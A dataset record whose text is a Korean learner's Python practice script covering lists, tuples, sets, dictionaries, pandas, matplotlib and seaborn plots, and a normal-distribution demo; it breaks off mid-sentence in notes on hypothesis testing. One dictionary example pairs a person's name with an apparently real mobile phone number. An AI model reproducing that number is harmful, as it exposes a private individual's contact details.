"max_stars_repo_name": "flash10042/pythoven", "max_stars_repo_head_hexsha": "4b5f13d6059d050a2b2bfdaa50deb47f5fc778b1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "piano.py", "max_issues_repo_name": "flash10042/pythoven", "max_issues_repo_head_hexsha": "4b5f13d6059d050a2b2bfdaa50deb47f5fc778b1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "piano.py", "max_forks_repo_name": "flash10042/pythoven", "max_forks_repo_head_hexsha": "4b5f13d6059d050a2b2bfdaa50deb47f5fc778b1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.7191011236, "max_line_length": 87, "alphanum_fraction": 0.6341940532, "include": true, "reason": "import numpy", "num_tokens": 1611, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.07703422020380508}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\"\"\"-------------------------------------------------------------------------------------------------------------------------------------------------------------- \"\"\"\r\n\r\n\"\"\"\r\n\uc790\ub8cc\uad6c\uc870 : 1. sequence \uc790\ub8cc\uad6c\uc870 (\uc21c\uc11c\uc788\uc74c)\r\n          2. \ub515\uc154\ub108\ub9ac, \uc138\ud2b8 (\uc21c\uc11c\uc5c6\uc74c)\r\n\r\n\uc778\ub371\uc2f1 : \ub9ac\uc2a4\ud2b8\uc5d0\uc11c \ud558\ub098\uc758 \uc694\uc18c\ub97c \uc778\ub371\uc2a4 \uc5f0\uc0b0\uc790\ub97c \ud1b5\ud558\uc5ec \ucc38\uc870(\uc811\uadfc)\ud558\ub294 \uac83\r\n\r\n\uc2ac\ub77c\uc774\uc2f1 : \ub9ac\uc2a4\ud2b8 \uc548\uc5d0\uc11c \ubc94\uc704\ub97c \uc9c0\uc815\ud558\uc5ec\uc11c \uc6d0\ud558\ub294 \uc694\uc18c\ub4e4\uc744 \uc120\ud0dd\ud558\ub294 \uc5f0\uc0b0\r\n\r\n\ub9ac\uc2a4\ud2b8 : \uc5ec\ub7ec \uac1c\uc758 \ub370\uc774\ud130\uac00 \uc800\uc7a5\ub418\uc5b4 \uc788\ub294 \uc790\ub8cc\uad6c\uc870\r\n\ub9ac\uc2a4\ud2b8\uac00 \ud544\uc694\ud55c \uc774\uc720 : \uc5ec\ub7ec \uac1c\uc758 \ub370\uc774\ud130\uac00 \uc800\uc7a5\ub418\uc5b4 \uc788\ub294 \uc790\ub8cc\uad6c\uc870\r\n\"\"\"\r\n\r\n# \ubb38\uc790\uc5f4 \uc778\ub371\uc2f1 & \uc2ac\ub77c\uc774\uc2f1\r\n\r\ntext = \"IT Will is power.\"\r\nprint(text[:-2]) # IT Will is powe\r\nprint(text[:8], text[-1])\r\n\r\n# \uc778\ub371\uc2f1\r\nflist = [\"apple\", \"banana\", \"tomato\", \"peach\", \"pear\" ]\r\nprint(flist[0], flist[3], flist[-1])\r\n\r\n# \uc2ac\ub77c\uc774\uc2f1\r\na = [0,1,4,9,16,25,36,49]\r\na[3:6]\r\n\r\n# \ub9ac\uc2a4\ud2b8 (append\ub85c \ucd94\uac00\ud574\uc11c \ub9ac\uc2a4\ud2b8\ub97c \ub9cc\ub4e4\uc5b4\ubcf4\ub294 \uac83)\r\n\r\nscores = [ ]\r\nfor i in range(10):\r\n    scores.append(int(input(\"\uc131\uc801\uc744 \uc785\ub825\ud558\uc2dc\uc624:\")))\r\nprint(scores)\r\n\r\nscores[0] = 80\r\n\r\nscores[i] = 10;\r\nscores[i+2] = 20;\r\n\r\n# \ub9ac\uc2a4\ud2b8\uc758 \uc694\uc18c\uac2f\uc218\ub9cc\ud07c \ub9ac\uc2a4\ud2b8\uac00 \ubc18\ubcf5\ub418\uc5b4 \ucd9c\ub825\r\nfor element in scores:\r\n    print(scores)\r\n\r\n# \ubcf5\uc7a1\ud55c \ub9ac\uc2a4\ud2b8\r\nlist1 = [12,\"dog\",180.14] # \ud63c\ud569\uc790\ub8cc\ud615\r\nlist2 = [[\"Seoul\", 10], [\"Paris\", 12], [\"London\", 50]] # \ub0b4\uc7a5 \ub9ac\uc2a4\ud2b8\r\n\r\n# \ub9ac\uc2a4\ud2b8 \uae30\ucd08\uc5f0\uc0b0\r\nmarvel_heroes = [ \"\uc2a4\ud30c\uc774\ub354\ub9e8\", \"\ud5d0\ud06c\", \"\uc544\uc774\uc5b8\ub9e8\" ]\r\ndc_heroes = [ \"\uc288\ud37c\ub9e8\", \"\ubc30\ud2b8\ub9e8\", \"\uc6d0\ub354\uc6b0\uba3c\" ]\r\n\r\nheros = marvel_heroes + dc_heroes\r\nheros\r\n# \ub9ac\uc2a4\ud2b8\uc5d0 \uacf1\ud558\uae30\r\nvalues = [1,2,3]*3\r\nvalues # [1, 2, 3, 1, 2, 3, 1, 2, 3]\r\nlen(values)\r\n \r\n# \uc694\uc18c\ucd94\uac00\ud558\uae30\r\ndevelopteam = []\r\ndevelopteam.append(\"\uc774\uc720\ud604\")\r\ndevelopteam.append(\"\uc131\ubbfc\uc2b9\")\r\ndevelopteam.append(\"\uae40\ub3d9\uc644\")\r\n\r\ndevelopteam\r\n\r\n# \ub9ac\uc2a4\ud2b8 \uc548\uc758 \ub0b4\uc6a9 \uc870\ud68c\r\nif \"\uc774\uc720\ud604\" in developteam:\r\n    print(\"\ub0b4\ubd80\uc778\uc6d0\")\r\n    \r\n# \ub9ac\uc2a4\ud2b8 \uc778\ub371\uc2a4 \ud655\uc778\r\ndevelopteam.index(\"\uc774\uc720\ud604\") # 0\r\ndevelopteam.index(\"\uae40\ub3d9\uc644\") # 2\r\n\r\n# \ub9ac\uc2a4\ud2b8 \ucd5c\uc18c\uac12 \ucd5c\ub300\uac12\r\nvalues = [ 100, 20, 31, 45, 15, 6, 7, 8, 9, 10 ]\r\nmin(values)\r\nmax(values)\r\n\r\n# \ub9ac\uc2a4\ud2b8\uc5d0\uc11c sort \uc4f0\uae30 \uc815\ub82c~~~\r\nvalues.sort()\r\nvalue2=sorted(values)\r\nprint(value2)\r\n\r\n# \ub9ac\uc2a4\ud2b8 \ub0b4\uc758 \uc870\uac74\ubb38\r\nlist1 = [3,4,5]\r\nlist2 = [x*2 for x in list1]\r\nprint(list2)\r\n\r\n# 2\ucc28\uc6d0 \ub9ac\uc2a4\ud2b8\r\ns = [ \r\n[ 1, 2, 3, 4, 5 ] ,\r\n[ 6, 7, 8, 9, 10 ], \r\n[11, 12, 13, 14, 15 ] \r\n]\r\n\r\nprint(s)\r\n\r\n# \ub3d9\uc801\uc73c\ub85c 2\ucc28\uc6d0 \ub9ac\uc2a4\ud2b8 \uc0dd\uc131\r\n\r\nrows = 3\r\ncols = 5\r\n\r\ns = []\r\nfor row in range(rows):\r\n    s += [[3]*cols]\r\n    \r\nprint(\"s=\",s) # s= [[3, 3, 3, 3, 3], [3, 3, 3, 3, 3], [3, 3, 3, 3, 3]]\r\n\r\nrows = len(s)\r\ncols = len(s[0])\r\ncols\r\nfor r in range(rows):\r\n    for c in range(cols):\r\n        print(s[r][c], end=\",\")\r\n    print()\r\n\r\n\"\"\"\r\n    tuple!! \r\n    \ud29c\ud50c\uc740 \ubcc0\uacbd\ub420 \uc218 \uc5c6\ub294 \ub9ac\uc2a4\ud2b8 + \uc21c\uc11c\uac00 \uc5c6\ub2e4!!\r\n    \r\n    tuple('listname') \r\n    : \ub9ac\uc2a4\ud2b8\ub97c \ud29c\ud50c\ub85c \ubcc0\uacbd\ud55c\ub2e4.\r\n\"\"\"\r\n# tuple\uc744 \ubcc0\uacbd\ud558\ub824\uace0 \ud574\ubcf4\uc790\r\n\r\nt1 = (1,2,3,4,5);\r\nt2 = (1,2,3,4,5);\r\n\r\nt1[0] =100; # TypeError: 'tuple' object does not support item assignment\r\n\r\n# \ud29c\ud50c \ub300\uc785 \uc5f0\uc0b0\r\nstudent1 = (\"\ucca0\uc218\",19,\"CS\")\r\n(name,age,major) = student1\r\nname # '\ucca0\uc218'\r\n\r\n\"\"\"\r\n    set!!\r\n    \uc138\ud2b8\ub294 \uc911\ubcf5\ub418\uc9c0 \uc54a\uc740 \ud56d\ubaa9\ub4e4\uc774 \ubaa8\uc778\uac83 + \uc21c\uc11c\uac00 \uc5c6\ub2e4!!\r\n    \r\n\"\"\"\r\n\r\nnumbers = {1,2,2,3,3,3,4}\r\n\r\nnumbers # {1, 2, 3, 4}\r\n\r\n# \uc694\uc18c \ucd94\uac00\r\nnumbers.add(5)\r\n\r\n\r\n\"\"\"\r\n\r\n    dictionary\r\n    \ub515\uc154\ub108\ub9ac\ub294 \ud0a4(key)\uc640 \uac12(value)\uc758 \uc30d\uc744 \uc800\uc7a5\ud560 \uc218 \uc788\ub294 \uac1d\uccb4\r\n    \r\n\r\n\"\"\"\r\n\r\n# \ud615\ud0dc\r\ndictionary = {'name':'\uc774\uc720\ud604','phone':'01091597160','score':100}\r\ndictionary['score']\r\n# \ucd94\uac00\ud558\uae30\r\n\r\ndictionary['speed'] = '1000'\r\nprint(dictionary)\r\n\r\n# \ud56d\ubaa9 \uc21c\ud68c\ud558\uba70 \ucd9c\ub825\ud558\uae30.\r\n\r\nfor item in dictionary.items():\r\n    print(item)\r\n\"\"\"\r\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n    plot \ubb38\uc81c\ub85c \uc815\ub9ac\ud558\uae30\r\n    1. matplotlib\r\n        1) \ud55c\uae00 \ubc0f \uc74c\uc218 \ubd80\ud638 \uc9c0\uc6d0\r\n        2) \uae30\ubcf8\ucc28\ud2b8 \uc2dc\uac01\ud654 - \uae30\ubcf8 \uc120 \uc2a4\ud0c0\uc77c\uacfc \uc0c9\uc0c1, x\ucd95 y\ucd95 \uc2a4\ud0c0\uc77c&\uc0c9\uc0c1, color\uc640 marker \uc774\uc6a9\r\n        3) \uc0b0\uc810\ub3c4, \ud788\uc2a4\ud1a0\uadf8\ub7a8, \uc0c1\uc790\uadf8\ub798\ud504\r\n        3) \uc774\uc0b0\ud615 \ubcc0\uc218 \uc2dc\uac01\ud654 - \uac00\ub85c\ub9c9\ub300 \uadf8\ub798\ud504, \uc138\ub85c\ub9c9\ub300 \ucc28\ud2b8, \uc6d0\ucc28\ud2b8\r\n        4) subplot \ucc28\ud2b8\r\n        5) \uc2dc\uacc4\uc5f4\ucc28\ud2b8\r\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\"\"\"\r\n\r\ndata3= np.random.randn(50) # \ub09c\uc218\r\ndata4= np.random.randn(50).cumsum() # \ub09c\uc218\r\n\r\nchart.plot(data3, color='r', label='step', \r\ndrawstyle=\"steps-post\")\r\n\r\nchart.plot(data4, color='g', label='line')\r\nplt.legend(loc='best')\r\nplt.ylabel('y label')\r\nplt.xlabel('x label')\r\nplt.title('chart title')\r\nplt.show()\r\n\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sn\r\n\r\n# \ubb383) seaborn\uc758  titanic \ub370\uc774\ud130\uc14b\uc744 \uc774\uc6a9\ud558\uc5ec \ub2e4\uc74c\uacfc \uac19\uc774 \ub2e8\uacc4\ubcc4\ub85c \uc2dc\uac01\ud654\ud558\uc2dc\uc624.\r\ntitanic = sn.load_dataset('titanic')\r\nprint(titanic.info())\r\n\r\n#  <\ub2e8\uacc41> 'total_bill','tip','sex','size' \uce7c\ub7fc\uc73c\ub85c \uc11c\ube0c\uc14b \ub9cc\ub4e4\uae30  \r\ntitanic_df = titanic[['survived','pclass', 'age','fare']]\r\nprint(titanic_df.info())\r\n#sn.pairplot(data=DataFrame, hue='\uc9d1\ub2e8\ubcc0\uc218', kind='scatter')\r\n\r\n# <\ub2e8\uacc42> \uc131\ubcc4(sex) \uce7c\ub7fc\uc744 \uc9d1\ub2e8\ubcc0\uc218\ub85c \uc0b0\uc810\ub3c4\ud589\ub82c \uc2dc\uac01\ud654\r\nsn.pairplot(data=titanic_df, hue='survived')\r\nplt.show()\r\n\r\n# <\ub2e8\uacc43> \uc0b0\uc810\ub3c4\ud589\ub82c\uc758 \uc2dc\uac01\ud654 \uacb0\uacfc \ud574\uc124\ud558\uae30\r\n'''\r\npclass : 3\ub4f1\uc11d \uc77c\uc218\ub85d \uc0ac\ub9dd\ube44\uc728 \ub9e4\uc6b0 \ub192\uc74c \r\npclass vs fare : 1\ub4f1\uc11d \uc77c\uc218\ub85d \uace0 \uc694\uae08 \r\nage : 25~50\uc138 \uc0ac\uc774\uc5d0\uc11c \uac00\uc7a5 \ub192\uc740 \ube48\ub3c4, \uc0ac\ub9dd\uacfc \uc0dd\uc874 \ube44\uc728 \ube44\uc2b7 \r\nage vs fare : \ub300\uccb4\uc801\uc73c\ub85c \ub098\uc774\uac00 \ub9ce\uace0, \uc694\uae08\uc774 \ub0ae\uc740 \uacbd\uc6b0 \uc0ac\ub9dd \ube44\uc728 \ub192\uc74c\r\nfare : \ube44\uc6a9\uc774 \uc800\ub834\ud55c \uacbd\uc6b0\uac00 \uc0c1\ub300\uc801\uc73c\ub85c \ub9ce\uc740 \ubd84\ud3ec\r\nfare vs age : \ub300\uccb4\uc801\uc73c\ub85c \uc694\uae08\uc774 \ub0ae\uace0, \ub098\uc774\uac00 50\ub300 \uc774\uc0c1\uc778 \uacbd\uc6b0 \uc0ac\ub9dd \ube44\uc728 \ub192\uc74c    \r\n'''\r\n\r\n# survived vs age    \r\n# \uc5f0\ub839\ub300 \uc0dd\uc874\ube44\uc728 : 20~40 \r\ntitanic[titanic['survived'] == 1].age.plot(kind = 'hist', color = 'blue')\r\n# \uc5f0\ub839\ub300 \uc0ac\ub9dd\ube44\uc728 : 20~40\r\ntitanic[titanic['survived'] == 0].age.plot(kind = 'hist', color = 'green')\r\n\r\n\r\n# \ubb384) seaborn\uc758 tips \ub370\uc774\ud130\uc14b\uc744 \uc774\uc6a9\ud558\uc5ec \ub2e4\uc74c\uacfc \uac19\uc774 \ub2e8\uacc4\ubcc4\ub85c \uc2dc\uac01\ud654\ud558\uc2dc\uc624.\r\ntips = sn.load_dataset('tips')\r\nprint(tips.info())\r\n\r\n# <\ub2e8\uacc41> 'total_bill','tip','sex','size' \uce7c\ub7fc\uc73c\ub85c \uc11c\ube0c\uc14b \ub9cc\ub4e4\uae30\r\ntips_df = tips[['total_bill','tip','sex','size']]\r\n\r\n# <\ub2e8\uacc42> \uc131\ubcc4(sex) \uce7c\ub7fc\uc744 \uc9d1\ub2e8\ubcc0\uc218\ub85c \uc0b0\uc810\ub3c4\ud589\ub82c \uc2dc\uac01\ud654 \r\nsn.pairplot(data=tips_df, hue='sex')\r\nplt.show()\r\n\r\n# <\ub2e8\uacc43> \uc0b0\uc810\ub3c4\ud589\ub82c\uc758 \uc2dc\uac01\ud654 \uacb0\uacfc \ud574\uc124\ud558\uae30\r\n\"\"\"\r\ntotal_bill : \ucd1d\uae08\uc561 15~20 \uc0ac\uc774\uac00 \uac00\uc7a5 \ub192\uc740 \ube48\ub3c4, \uae08\uc561\uc774 \ud074 \uc218\ub85d \ub0a8\uc790 \uc9c0\ubd88  \r\ntotal_bill vs tip  : \ub300\uccb4\uc801\uc73c\ub85c \ube44\ub840\uad00\uacc4, \ucd1d\uae08\uc561\uacfc \ud301\uc774 \ub9ce\uc740 \uacbd\uc6b0 \ub0a8\uc790 \uc9c0\ubd88\r\ntip : \ud301\uc740 1~5 \uc0ac\uc774\uac00 \uac00\uc7a5 \ub192\uc740 \ube48\ub3c4, \ud301 \uae08\uc561\uc774 \ud074 \uc218\ub85d \ub0a8\uc790 \uc9c0\ubd88 \r\ntotal_bill vs size : \ud589\uc0ac\uaddc\ubaa8\uac00 \uc791\uc740 \uacbd\uc6b0 \uc5ec\uc131 \uc9c0\ubd88\r\nsize : \ud589\uc0ac\uaddc\ubaa8 2\uac00 \uac00\uc7a5 \ub192\uc740 \ube48\ub3c4, \ud2b9\ud788 4\uc77c\ub54c \ub0a8\uc790 \uc9c0\ubd88 \r\nsize vs total_bill : \ub300\uccb4\uc801\uc73c\ub85c \ube44\ub840\uad00\uacc4, \uaddc\ubaa8\uac00 \ud070 \uacbd\uc6b0 \ucd1d\uae08\uc561\uc774 \ub9ce\uc74c  \r\n\r\n\"\"\"\r\nimport pandas as pd # object\r\nimport numpy as np # dataset\r\nimport matplotlib.pyplot as plt # plt.show() \r\n\r\n# 1. \uae30\ubcf8 \ucc28\ud2b8 \uc2dc\uac01\ud654 \r\nser = pd.Series(np.random.randn(10)) # 1d \r\nprint(ser)\r\n\r\n# 1\ucc28\uc6d0 \uac1d\uccb4 : \uae30\ubcf8\ucc28\ud2b8 - \uc120 \uadf8\ub798\ud504 \r\nser.plot(color='g')\r\nplt.show()\r\n\r\n# 2\ucc28\uc6d0 \uac1d\uccb4 \r\ndf = pd.DataFrame(np.random.randn(10, 4),\r\n                  columns=('one','two','three','fore'))\r\n\r\nprint(df)\r\n\r\n# \uae30\ubcf8\ucc28\ud2b8 : \uc120 \uadf8\ub798\ud504\r\ndf.plot()  \r\nplt.show()\r\n\r\n# \ub9c9\ub300\ucc28\ud2b8 : \uc138\ub85c \r\ndf.plot(kind='bar', title = 'bar chart')\r\nplt.show()\r\n\r\n\r\n# \ub9c9\ub300\ucc28\ud2b8 : \uac00\ub85c \r\ndf.plot(kind='barh', title = 'bar chart')\r\nplt.show()\r\n\r\n\r\n# \ub9c9\ub300\ucc28\ud2b8 : \uac00\ub85c, \ub204\uc801\ud615  \r\ndf.plot(kind='barh', title = 'barh chart', stacked=True)\r\nplt.show() \r\n\r\n\r\n# 2. dataset \uc774\uc6a9 \r\nimport os\r\n\r\nos.chdir('C:/ITWILL/4_Python-II/data')\r\ntips = pd.read_csv('tips.csv')\r\nprint(tips.info())\r\n\r\n# \uad50\ucc28\ubd84\ud560\ud45c : \uc9d1\ub2e8\ubcc0\uc218 \uc774\uc6a9 \r\n# \uc694\uc77c(day):\ud589 vs \uaddc\ubaa8(size):\uc5f4\r\ntips['day'].unique() # ['Sun', 'Sat', 'Thur', 'Fri']\r\ntips['size'].unique()# [2, 3, 4, 1, 6, 5]\r\n\r\ntab = pd.crosstab(index=tips['day'], columns=tips['size'])\r\nprint(tab)\r\n\r\n# \ud14c\uc774\ube14 \uc815\ubcf4 \r\ntab.shape # (4, 6)\r\ntab.index # \ud589 \uc774\ub984 \r\ntab.columns # \uc5f4 \uc774\ub984 \r\n\r\n#tab.index = \uc218\uc815 \uc774\ub984 \r\ntype(tab) # pandas.core.frame.DataFrame\r\n\r\nhelp(tab.plot)\r\n\r\n# size : 1, 6 \uc81c\uc678 -> subset\r\n#obj.loc[\ud589, \uc5f4]\r\nnew_tab = tab.loc[:, 2:5]\r\nprint(new_tab)\r\n\r\n\r\nnew_tab.plot(kind='barh', stacked=True,\r\n         title = 'day and size')\r\nplt.show()\r\n\r\n\r\n\r\n\"\"\"\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nplot \uc608\uc81c \ub05d~~\r\n\"\"\"\r\n\r\n\"\"\"\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n1. Group by : \uba38 \ub300\uac15 \uce7c\ub7fc\ub4e4\uc744 \ud2b9\uc815 \ubcc0\uc218\uc758 \uc870\uac74\uc5d0 \ub9de\uac8c \uadf8\ub8f9\ud654 \uc2dc\ud0a4\ub294\uac70\ub2e4\r\n2. apply :\r\n3. Pivot table ---> df.pivot(index='x',columns='y',values='z')\r\n        - \uc88c\uce21 index(\ud589)\ub97c \uc5b4\ub5a4 \uce7c\ub7fc\uc73c\ub85c \uc124\uc815\ud560\uc9c0\r\n        - \uce7c\ub7fc(\uc5f4)\ucabd\uc744 y\uce7c\ub7fc\uc73c\ub85c \uc138\uc6b0\uace0\r\n        - \uc548\uc5d0 \ucc44\uc6b8 values \uac12 z\ub85c \uc124\uc815\r\n\r\n\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\"\"\"\r\n\r\n\"\"\"\r\n\r\nNUMPY!!!!!!!!!!!!!\r\n    1. \ubc30\uc5f4 \uc0dd\uc131 array()\r\n    - arange() : \ubc30\uc5f4 \uac1d\uccb4 \ubc18\ud658\r\n    - linspace() : \uc2dc\uc791\uc810\uacfc \ub05d\uc810\uc744 \uade0\uc77c \uac04\uaca9\uc73c\ub85c \ub098\ub208 \uc810\ub4e4\uc744 \uc0dd\uc131\r\n    - reshape() : \ud589\uc218\uc640 \uc5f4\uc218\ub97c \uc870\uc808\r\n    2. \ud2b9\uc218 \ud589\ub82c \uc0dd\uc131 zeros() : 0\uc73c\ub85c \ucc44\uc6cc\uc9c4 \ubc30\uc5f4, ones() : 1\ub85c \ucc44\uc6cc\uc9c4 \ubc30\uc5f4 ,eye() : \ud56d\ub4f1\ud589\ub82c\r\n    \r\n    3. \ub09c\uc218 \uc0dd\uc131  numpy.random.normal(size = \uac1c\uc218)\r\n    4. \uc0b0\uc220\uc5f0\uc0b0 \r\n\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"\r\n# Series Pandas\uc758 Series\ub294 1\ucc28\uc6d0 \ub370\uc774\ud130\ub97c \ub2e4\ub8e8\ub294 \ub370 \ud6a8\uacfc\uc801\uc778 \uc790\ub8cc\uad6c\uc870\r\nvalues \uc18d\uc131\uc744 \ud638\ucd9c\ud558\uba74 \ub370\uc774\ud130\uc758 \ubc30\uc5f4 \uc6d0\uc18c\uac00 \ub9ac\ud134\r\nindex \uc18d\uc131\uc744 \ud638\ucd9c\ud558\uba74 \uc778\ub371\uc2a4\uc758 \uc815\ubcf4\uac00 \ub9ac\ud134\r\n\uac01\uac01\uc758 \ub370\uc774\ud130\ub294 [\uc778\ub371\uc2a4]\ub97c \uc774\uc6a9\ud574\uc11c \uc811\uadfc\uc774 \uac00\ub2a5\r\nnumpy \ud568\uc218 \uc0ac\uc6a9 \uac00\ub2a5\r\ndict \uac1d\uccb4\ub85c \uc0dd\uc131 \uac00\ub2a5\r\n\"\"\"\r\n# code 1\r\n\r\nfrom pandas import Series, DataFrame\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nprice = Series([4000, 3000, 3500, 2000])\r\nprint(price)\r\nprint(price.index)\r\nprint(price.values)\r\nprint('====================')\r\nfruit = Series([4000, 3000, 3500, 2000], \r\nindex=['apple', 'mellon','orange', 'kiwi'])\r\nprint(fruit)\r\nprint(fruit[0]) # \uc21c\ubc88 \uc774\uc6a9 \ub370\uc774\ud130 \uc811\uadfc\r\nprint(fruit['apple']) # \uc778\ub371\uc2a4 \uc774\uc6a9 \ub370\uc774\ud130 \uc811\uadfc\r\nprint(fruit[fruit>3000]) # \ubd80\uc6b8\ub9ac\uc5b8 \uc2dd\r\nprint(\"=================\")\r\n\r\n# code 2\r\nfrom pandas import Series, DataFrame\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ngood1 = Series([4000,3500,None,2000],index = ['apple','mango','orange','kiwi'])\r\n\r\ngood2 = Series([3000,3000,3500,2000],index = ['apple','mango','orange','kiwi'])\r\n\r\nprint(pd.isnull(good1)) # NaN\uac12 \uac80\ucd9c none\uc774\uba74 True\ub97c \ubc18\ud658\r\nprint (good1+good2)\r\n\r\n\r\n# DataFrame\r\n\r\n\"\"\"\r\n# DataFrame\uc740 \ud589\uacfc \uc5f4\ub85c \uad6c\uc131\ub41c 2\ucc28\uc6d0 \ub370\uc774\ud130\ub97c \ub2e4\ub8e8\ub294 \ub370 \ud6a8\uacfc\uc801\uc778 \uc790\ub8cc\uad6c\uc870\r\n\uc77c\ubc18\uc801\uc73c\ub85c \ub515\uc154\ub108\ub9ac \ud65c\uc6a9\ud574\uc11c \uc0dd\uc131\r\n\uc785\ub825\uac00\ub2a5\ud55c \ub370\uc774\ud130\r\n1. 2\ucc28\uc6d0 ndarray\r\n2. \ub9ac\uc2a4\ud2b8, \ud29c\ud50c,dict, Series\uc758 dict\r\n3. dict, Series\uc758 list\r\n4. \ub9ac\uc2a4\ud2b8, \ud29c\ud50c\uc758 \ub9ac\uc2a4\ud2b8\r\n5. \uce7c\ub7fc \ubf51\ub294 \ubc29\ubc95\r\n    1) data.iloc[[\ud589]],[\uc5f4]  # \ud589\uc740 index\r\n\r\n\"\"\"\r\n# code 1\r\nfrom pandas import Series, DataFrame\r\n\r\nitems = {'code': [1,2,3,4,5,6],\r\n'name': ['apple','watermelon','oriental melon', 'banana', 'lemon', 'mango'],\r\n'manufacture': ['korea', 'korea', 'korea','philippines','korea', 'taiwan'],\r\n'price':[1500, 15000,1000,500,1500,700]}\r\n\r\ndata = DataFrame(items)\r\nprint(data)\r\n\r\n# \ud2b9\uc815 \uceec\ub7fc\ub9cc \ubf51\uae30\r\ndata1 = DataFrame(items, columns = ['code', 'price'])\r\nprint(data1)\r\nprint(data.loc[0]) # 0 \ud589 \ucd9c\ub825 \uac00\ub85c\ub85c \ub098\uc634\r\nprint(data.loc[:0]) # 0 \ud589 \ucd9c\ub825 \uc138\ub85c\ub85c \ub098\uc634\r\nprint(data.loc[[2],['name']])\r\n\r\n\r\n# \ub370\uc774\ud130 \ud504\ub808\uc784 \ubcc0\uacbd\ud574\ubcf4\uae30\r\ndata.index = np.arange(1,7,1) # 1~6\uae4c\uc9c0 \uc778\ub371\uc2a4 \uc124\uc815\r\ndata.columns\r\ndata = data.reindex(['1','2','3','4','5','7'],columns = ['code', 'name', 'manufacture', 'price'])\r\nprint(data.index)\r\nprint(data);\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"-------------------------------------------------------------------------------------------------------------------------------------------------------------- \"\"\"\r\n# \uc815\uaddc\ubd84\ud3ec \uc0dd\uc131 \uc54c\uace0\ub9ac\uc998\r\n\"\"\" \uc815\uaddc\ubd84\ud3ec\ub780? \uac00\uc6b0\uc2dc\uc548 \uc815\uaddc \ubd84\ud3ec :\r\n    \uc790\uc5f0 \ud604\uc0c1\uc5d0\uc11c \ub098\ud0c0\ub098\ub294 \uc22b\uc790\ub97c \ud655\ub960 \ubaa8\ud615\uc73c\ub85c \ubaa8\ud615\ud654\ud560 \ub54c \uac00\uc7a5 \ub9ce\uc774 \uc0ac\uc6a9\ub418\ub294 \ubaa8\ud615\r\n    \ud45c\uc900\ud3b8\ucc28 1\ubc30\uc548\uc5d0 \uc804\uccb4 \ub370\uc774\ud130\uc758 \uc57d 70% \uc774\uc0c1\uc774 \ubab0\ub824\uc788\uace0\r\n    1.96\ubc30 \uc548\uc5d0 95% \uc774\uc0c1\uc774 \ubd84\ud3ec\ub41c \uacbd\uc6b0\r\n    \"\"\"\r\nfrom pandas import Series, DataFrame\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import font_manager, rc \r\nfrom scipy import stats\r\nimport scipy as sp \r\nfont_name = font_manager.FontProperties(fname=\"c:/Windows/Fonts/malgun.ttf\").get_name()\r\nrc('font', family=font_name)\r\nmu = 0 \r\nstd = 1\r\nrv = sp.stats.norm(mu, std) \r\nxx = np.linspace(-5, 5, 100)\r\nplt.plot(xx, rv.pdf(xx))\r\nplt.ylabel(\"\ud655\ub960\")\r\nplt.title(\"\uc815\uaddc\ubd84\ud3ec\uace1\uc120\")\r\nplt.show() \r\nx = rv.rvs(100) # rvs \uba54\uc11c\ub4dc\ub85c \uc2dc\ubbac\ub808\uc774\uc158\ud574 \uc0d8\ud50c\uc744 \uc5bb\ub294\uac83\r\n\r\nprint(x)\r\n\r\n# \uac80\uc815\ud1b5\uacc4 , \uc720\uc758\ud655\ub960(p-value)\r\n\"\"\"\r\n    \uac80\uc815(testing)\uc740  \ub370\uc774\ud130  \ub4a4\uc5d0  \uc228\uc5b4\uc788\ub294  \ud655\ub960  \ubcc0\uc218\uc758  \ubd84\ud3ec\uc640  \ubaa8\uc218\uc5d0  \ub300\ud55c  \uac00\uc124\uc758  \uc9c4 \uc704\ub97c  \uc815\ub7c9\uc801(quantitatively)\uc73c\ub85c  \uc99d\uba85\ud558\ub294  \uc791\uc5c5\r\n    \r\n    \uc2e4\uc81c \ubaa8\uc9d1\ub2e8\uc5d0\uc11c \ud45c\ubcf8 \uba87 \uc2ed \uac1c \ub610\ub294 \uba87 \ubc31 \uac1c\ub97c \ucd94\ucd9c\ud574\uc11c \uadf8\uac83\uc758 \ubd84\uc0b0(\ud45c\ubcf8\ubd84\uc0b0)\uc774\ub098 \ud3c9\uade0(\ud45c\ubcf8\ud3c9\uade0)\uc744 \uc0ac\uc6a9\ud574\uc57c \ud558\ub294 \uacbd\uc6b0\uac00 \ub300 \ubd80\ubd84\uc785\ub2c8\ub2e4.\r\n\uf076   \ud45c\ubcf8\uc218\uac00  \ud06c\uc9c0  \uc54a\uc744  \ub54c  \ud45c\ubcf8\ubd84\uc0b0(\ud45c\ubcf8\ud45c\uc900\ud3b8\ucc28)\uc744  \uc0ac\uc6a9\ud55c  \ud14c\uc2a4\ud2b8\ub294  t-\ubd84\ud3ec\ub97c  \uc774\uc6a9 \ud55c\ub2e4\uace0  \ud574\uc11c  T-test\ub77c\uace0  \ud569\ub2c8\ub2e4.\r\n\uf076   \uac00\uc124  \uc99d\uba85  \uc989  \uac80\uc815\uc758  \uae30\ubcf8\uc801\uc778  